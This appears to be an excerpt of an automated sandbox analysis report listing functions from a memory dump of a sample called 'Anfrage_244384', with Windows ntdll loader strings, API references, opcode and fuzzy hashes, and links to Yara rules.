                                                        • String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
                                                        • API String ID: 3446177414-3610490719
                                                        • Opcode ID: 43d8b0a9c2d188c92441b919d2ed38c0eed311e42b6e2dfa3c9b1d6ab2787874
                                                        • Instruction ID: 9741f0974b4a7a084970df7c6697bbda9f1c5662074ae7808c1008bc19e78ac9
                                                        • Opcode Fuzzy Hash: 43d8b0a9c2d188c92441b919d2ed38c0eed311e42b6e2dfa3c9b1d6ab2787874
                                                        • Instruction Fuzzy Hash: 1691FC75700741DFE719CF24C884B6EB7ADFF94A48F00056AE8469B381DB38AC45CBA6
                                                        Function 34690BCB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • minkernel\ntdll\ldrinit.c, xrefs: 346DA121
                                                        • LdrpCheckModule, xrefs: 346DA117
                                                        • Failed to allocated memory for shimmed module list, xrefs: 346DA10F
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 3446177414-161242083
                                                        • Opcode ID: ab60572c20d1d5939c627dc4947d1523c5b14ca7c048b514c32850aa0fde15b0
                                                        • Instruction ID: 3915e57279c022e3d73ac6760d83c61f3f738645dfaeb12be2ec8945b8de0d73
                                                        • Opcode Fuzzy Hash: ab60572c20d1d5939c627dc4947d1523c5b14ca7c048b514c32850aa0fde15b0
                                                        • Instruction Fuzzy Hash: FF71CDB4A00705DFEB14DF68CD80AEEB7F6EB58348F18406DD806EB250E778A946CB55
                                                        Function 346AC720 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • Failed to reallocate the system dirs string !, xrefs: 346E82D7
                                                        • minkernel\ntdll\ldrinit.c, xrefs: 346E82E8
                                                        • LdrpInitializePerUserWindowsDirectory, xrefs: 346E82DE
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 3446177414-1783798831
                                                        • Opcode ID: cc660ed109f15a7ec69c6bbee7c5ae131b93627a83daf8e1e289fb9a1b84dbcb
                                                        • Instruction ID: 635647f890c9a65ac77b0e63355b56939c326a9441226d4d5058b803ad42ef48
                                                        • Opcode Fuzzy Hash: cc660ed109f15a7ec69c6bbee7c5ae131b93627a83daf8e1e289fb9a1b84dbcb
                                                        • Instruction Fuzzy Hash: 8441ECF5505300EFE720DF68CA44B9B77E9EB45650F40092AF949A32A1EB78D8018F9A
                                                        Function 346ABED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RTL: Re-Waiting, xrefs: 346E7BAC
                                                        • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 346E7B7F
                                                        • RTL: Resource at %p, xrefs: 346E7B8E
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                        • API String ID: 0-871070163
                                                        • Opcode ID: bdf5bfa295abc2919467df8eff9cf5cdfed53435236fd43076617a8c63744fd5
                                                        • Instruction ID: 04182786ba41a56c93c3b47942a4077acac4df8f5446692e41e21f4c3246f9e3
                                                        • Opcode Fuzzy Hash: bdf5bfa295abc2919467df8eff9cf5cdfed53435236fd43076617a8c63744fd5
                                                        • Instruction Fuzzy Hash: 8641F475711B029FE720CE25DD40B5AB7E5EF98B21F000A1DFA969B780DB31E8458F92
                                                        Function 346AB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 346E728C
                                                        Strings
                                                        • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 346E7294
                                                        • RTL: Re-Waiting, xrefs: 346E72C1
                                                        • RTL: Resource at %p, xrefs: 346E72A3
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                        • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                        • API String ID: 885266447-605551621
                                                        • Opcode ID: 08eda0f8d984d8f260d5041a93e4734b333d5168bf05d2cc98c8539f57bfa6a2
                                                        • Instruction ID: 425fa7b714aa7fefdf5d827a51482418b319efd2ff6478ca9a84ff643c4ab612
                                                        • Opcode Fuzzy Hash: 08eda0f8d984d8f260d5041a93e4734b333d5168bf05d2cc98c8539f57bfa6a2
                                                        • Instruction Fuzzy Hash: FD412275701706AFE720CE61CD40B6AB7E5FF54B61F10061DFA85AB240DB21E8468BD2
                                                        Function 346F4755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 346F4888
                                                        • minkernel\ntdll\ldrredirect.c, xrefs: 346F4899
                                                        • LdrpCheckRedirection, xrefs: 346F488F
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                                        • API String ID: 3446177414-3154609507
                                                        • Opcode ID: 69255944e49f41ed5163608279885036b3f3f4b3ad71f7e2976405e944cdbded
                                                        • Instruction ID: 3f94b02358e008d170a30f27f3a1574468622a23c60d654326b3e9d3e002175e
                                                        • Opcode Fuzzy Hash: 69255944e49f41ed5163608279885036b3f3f4b3ad71f7e2976405e944cdbded
                                                        • Instruction Fuzzy Hash: 3F41CF76A087509FDB11CE58CC40A567BE9FF69790F41056DECD8A7B21D722E800CB82
                                                        Function 34722300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: ___swprintf_l
                                                        • String ID: %%%u$]:%u
                                                        • API String ID: 48624451-3050659472
                                                        • Opcode ID: 8eb7be8442902e1ce54b34a4b26cbacd6eae62c21f2c1ddfb9dc11d58a32119c
                                                        • Instruction ID: c3bba5c498b2ffab4f5f7f2a0ac6ba6d3bfba84f352c7e51433f5b1c91147c42
                                                        • Opcode Fuzzy Hash: 8eb7be8442902e1ce54b34a4b26cbacd6eae62c21f2c1ddfb9dc11d58a32119c
                                                        • Instruction Fuzzy Hash: EB314176A00619AFDB10CE29CC40BEF77E9EF44650F90455AE849E7241EB30EA458FA1
                                                        Function 346F5F10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Wow64 Emulation Layer
                                                        • API String ID: 3446177414-921169906
                                                        • Opcode ID: 3fee311c52b0095b4916122265b53ed504ac7ad470595ad1cb6cb6bb1f634a07
                                                        • Instruction ID: f07e5b5d252bd8891d0a0339370d5ba4c2cde2289f9454638ea65795b4af55e0
                                                        • Opcode Fuzzy Hash: 3fee311c52b0095b4916122265b53ed504ac7ad470595ad1cb6cb6bb1f634a07
                                                        • Instruction Fuzzy Hash: 492108B690021DFFAF019EA1DC88CEF7B7DEF442A8B0400A4FA15A6101DB319E059F64
                                                        Function 3469EF28 Relevance: 6.3, APIs: 4, Instructions: 347COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a847b45efad691aa760cec01140b0e255f3330b77076c5fc7b3a02be9a701617
                                                        • Instruction ID: dc3d23a8277d8d0f1d33e0b879a044a1ebda0d77c5e9d1ad8dbafe4e2473f336
                                                        • Opcode Fuzzy Hash: a847b45efad691aa760cec01140b0e255f3330b77076c5fc7b3a02be9a701617
                                                        • Instruction Fuzzy Hash: 5DE1FF74E00708DFEB29CFA9C980A9DBBF9FF58314F21452AE545A7260DBB0A841CF55
                                                        Function 346EEF50 Relevance: 6.2, APIs: 4, Instructions: 187timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: b663eedeaaf8dba84f5e0706b99934df70f8f7759ff6a1491cc94dfc51243fe9
                                                        • Instruction ID: 1ad02f085e3d3389cb5503674a54a1fd36f5b0fdfbb700b1b394da4eb3d49010
                                                        • Opcode Fuzzy Hash: b663eedeaaf8dba84f5e0706b99934df70f8f7759ff6a1491cc94dfc51243fe9
                                                        • Instruction Fuzzy Hash: A6713971E01219EFDF09CFA4CA80AEDBBF9BF48394F144029E905AB290D7359945CF55
                                                        Function 3474A4CA Relevance: 6.2, APIs: 4, Instructions: 170timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: b6803edc0f645bd7401f95b9aa24ac75dc9f7ccffff67a0e994f8b28bd91433e
                                                        • Instruction ID: a16b5b66eda169c83c528730821038a53c5e7b8ccbb07d97de48f5eccbf3e142
                                                        • Opcode Fuzzy Hash: b6803edc0f645bd7401f95b9aa24ac75dc9f7ccffff67a0e994f8b28bd91433e
                                                        • Instruction Fuzzy Hash: DB5158797006129FEB08CE59C6A6A29B7F6FB88350B20416DE906EB710DB74EC41CB80
                                                        Function 346EF1D6 Relevance: 6.2, APIs: 4, Instructions: 150timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: 1fdeb275c5dc70e85524fa09970cfb5ba095c5300e66c718c7a35003496933ad
                                                        • Instruction ID: c6ea8d95eef5ccf4fa55896c14d4af02f08f6140973ecbe8399d1bc57ac6640c
                                                        • Opcode Fuzzy Hash: 1fdeb275c5dc70e85524fa09970cfb5ba095c5300e66c718c7a35003496933ad
                                                        • Instruction Fuzzy Hash: FC5122B5E01219EFEF08CF95D9446EDBBF9BF48391F14812AE805AB290D7349981CF54
                                                        Function 346759C0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @
                                                        • API String ID: 0-2766056989
                                                        • Opcode ID: 958ff00d1a2928d22f452b72cfc9bce03042fd9b8f8f2e80cccd05fe38a84e3a
                                                        • Instruction ID: 42eb5e6584bf906a50bb38e1f29564585e978d764716170045de328c689166b5
                                                        • Opcode Fuzzy Hash: 958ff00d1a2928d22f452b72cfc9bce03042fd9b8f8f2e80cccd05fe38a84e3a
                                                        • Instruction Fuzzy Hash: 2F327470E04369CFEB61CF64C894BD9BBB4BF09314F0081EAD449A7651EBB49A84CF91
                                                        Function 346B7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: __aulldvrm
                                                        • String ID: +$-
                                                        • API String ID: 1302938615-2137968064
                                                        • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                        • Instruction ID: deae2deda72ce2af1e82151fe7e7fe0f15711a6e944e2cb2bf8a4b259bcaee1b
                                                        • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                        • Instruction Fuzzy Hash: 31919674E002199FEF10CE67C8816AEB7A9EF547A2F50451AE8D5EB3C0D7309941C766
                                                        Function 346A4C59 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: 0$Flst
                                                        • API String ID: 0-758220159
                                                        • Opcode ID: b027099da8eff567533546ce784e40d0db711c6fa22edd0029efaf0651015567
                                                        • Instruction ID: f140de21e09637358b5b8c9b32cd42d181b357af3851a09bbd80f721536ff4be
                                                        • Opcode Fuzzy Hash: b027099da8eff567533546ce784e40d0db711c6fa22edd0029efaf0651015567
                                                        • Instruction Fuzzy Hash: F051AAF5E00A08DFEB14DF99C984699FBF4EF94394F14802ED04AAB250EB709D85CB81
                                                        Function 346704E5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 153timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • kLsE, xrefs: 34670540
                                                        • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 3467063D
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                                        • API String ID: 3446177414-2547482624
                                                        • Opcode ID: 63697effb42263f46d0236f8eca167aa320a566b9f7d5307ef355a4d090e8d96
                                                        • Instruction ID: 49526f8d91a7deca08cfb6b7310ab180bba7f26170b64be269de71dded9e64a6
                                                        • Opcode Fuzzy Hash: 63697effb42263f46d0236f8eca167aa320a566b9f7d5307ef355a4d090e8d96
                                                        • Instruction Fuzzy Hash: 1F51DFB5600B42CFE324DF24C590693BBE8AF85314F10883EE99997240E770E945CFA6
                                                        Function 346FCEA0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • @_EH4_CallFilterFunc@8.LIBCMT ref: 346FCFBD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CallFilterFunc@8
                                                        • String ID: @$@4Qw@4Qw
                                                        • API String ID: 4062629308-2383119779
                                                        • Opcode ID: 77444003db77e7fb06c1645830c0aa90935b24d5fb5a37f4e2dae310898f9955
                                                        • Instruction ID: 8856c255b3b4f1c9ed88958c802da0a20c8a17678d49c91355fb9e14dffc3136
                                                        • Opcode Fuzzy Hash: 77444003db77e7fb06c1645830c0aa90935b24d5fb5a37f4e2dae310898f9955
                                                        • Instruction Fuzzy Hash: C6419DB1900214DFEB218FA9DC40AAEFBB9FF55714F00402AED46EB261D735D845CBA9
                                                        Function 346F07C3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: X`p$X`p(
                                                        • API String ID: 3446177414-1525138721
                                                        • Opcode ID: 7f1b9cbea6127baff8d6b8595292c6885eaae9e76715880d28dedb307e7ca576
                                                        • Instruction ID: 2f1199fbcd67ddbcb7a25633fcc750f1a5202ad6bd9896cfd6dced3b4ca9a575
                                                        • Opcode Fuzzy Hash: 7f1b9cbea6127baff8d6b8595292c6885eaae9e76715880d28dedb307e7ca576
                                                        • Instruction Fuzzy Hash: 46416CB1504700DFE760CF29C844B9BBBE8FF88664F404A2AF5A8D7251DB359905CF96
                                                        Function 3466DF81 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: 0$0
                                                        • API String ID: 3446177414-203156872
                                                        • Opcode ID: 932bade430e902991edbee024d625b767d2101ce0f31ad65df61f35f401a6615
                                                        • Instruction ID: e20ba917114301940447eb0d46e0c7e697f9db229f8156be04d62216073e579e
                                                        • Opcode Fuzzy Hash: 932bade430e902991edbee024d625b767d2101ce0f31ad65df61f35f401a6615
                                                        • Instruction Fuzzy Hash: 36416AB5608746EFD300CF28C484A0ABBE5FB89318F044A2EF589DB341D775EA05CB96
                                                        Function 3470AEB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p$X`p(
                                                        • API String ID: 3446177414-2759016703
                                                        • Opcode ID: 0989ba6ea4f9bc5debf413c3f7360b8ceaa67d898dc9f7455ecdf080409df0ef
                                                        • Instruction ID: e19c594fed0c4ac16185ff9820794495ee0e7ab502ca6caa23580bfc91c36239
                                                        • Opcode Fuzzy Hash: 0989ba6ea4f9bc5debf413c3f7360b8ceaa67d898dc9f7455ecdf080409df0ef
                                                        • Instruction Fuzzy Hash: 1031DFB6A00604EFDB11DF64CC45F9ABBB6EB44B24F11C269E901AB790D738E805CF94
                                                        Function 34726BFC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: X`p($pX`
                                                        • API String ID: 3446177414-2982543597
                                                        • Opcode ID: e6e48f1c1d23e609e8381d1e71c31c43143efcb5e7f16d2fa3922145c73ffe48
                                                        • Instruction ID: 9c085ceee9fb2b9d499e900b616952a87cbc848e66c97fde4e6fd6e218fa5ff2
                                                        • Opcode Fuzzy Hash: e6e48f1c1d23e609e8381d1e71c31c43143efcb5e7f16d2fa3922145c73ffe48
                                                        • Instruction Fuzzy Hash: 3C01AC76E10304AFDB10EE78C84499E77EADB94660F108236E921E7294E634E9458F84